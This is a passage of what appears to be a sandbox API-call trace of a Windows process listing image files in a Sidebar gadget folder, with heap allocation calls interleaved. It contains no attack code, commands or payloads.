(in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb69d3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_up.png", cAlternateFileName="")) returned 1 [0090.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2618 [0090.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131fbe8 [0090.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.066] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6156d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6156d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-docked.png", cAlternateFileName="")) returned 1 [0090.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2638 [0090.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131fcf0 [0090.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.068] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6c351c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbb6c351c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xaa66, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-2.png", cAlternateFileName="")) returned 1 [0090.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2658 [0090.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131fdf8 [0090.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.070] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5c9417, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb5c9417, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd31a, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-3.png", cAlternateFileName="")) returned 1 [0090.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2678 [0090.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ff00 [0090.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.071] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5ef576, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb5ef576, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6e967c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf240, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-4.png", cAlternateFileName="")) returned 1 [0090.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2698 [0090.073] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb76c32c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb76c32c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-left.png", cAlternateFileName="")) returned 1 [0090.073] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb79248b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb79248b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb45, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-middle.png", cAlternateFileName="")) returned 1 [0090.073] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7b85ea, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7b85ea, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-right.png", cAlternateFileName="")) returned 1 [0090.073] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d3db0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6d3db0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb73593c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_down.png", cAlternateFileName="")) returned 1 [0090.073] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb687af2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb687af2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb73593c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_over.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb687af2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb687af2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_up.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7461cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7461cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_down.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6f9f0f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6f9f0f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_over.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb72006e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb72006e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_up.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8048a8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb8048a8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7f401c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7b85ea, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7b85ea, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7f401c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbda, dwReserved0=0x0, dwReserved1=0x0, cFileName="row_over.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb81a17c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb81a17c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 0 [0090.074] GetLastError () returned 0x12 [0090.074] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0090.074] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8048a8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb8048a8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb661993, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb661993, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_down.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb69d3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_over.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb69d3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_up.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6156d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6156d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-docked.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6c351c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbb6c351c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xaa66, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-2.png", cAlternateFileName="")) returned 1 [0090.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5c9417, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb5c9417, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd31a, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-3.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5ef576, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb5ef576, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6e967c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf240, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-4.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb76c32c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb76c32c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-left.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb79248b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb79248b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb45, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-middle.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7b85ea, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7b85ea, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-right.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d3db0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6d3db0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb73593c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_down.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb687af2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb687af2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb73593c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_over.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb687af2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb687af2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_up.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7461cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7461cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_down.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6f9f0f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6f9f0f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_over.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb72006e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb72006e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_up.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8048a8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb8048a8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7f401c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7b85ea, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7b85ea, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7f401c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbda, dwReserved0=0x0, dwReserved1=0x0, cFileName="row_over.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb81a17c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 1 [0090.075] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb81a17c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 0 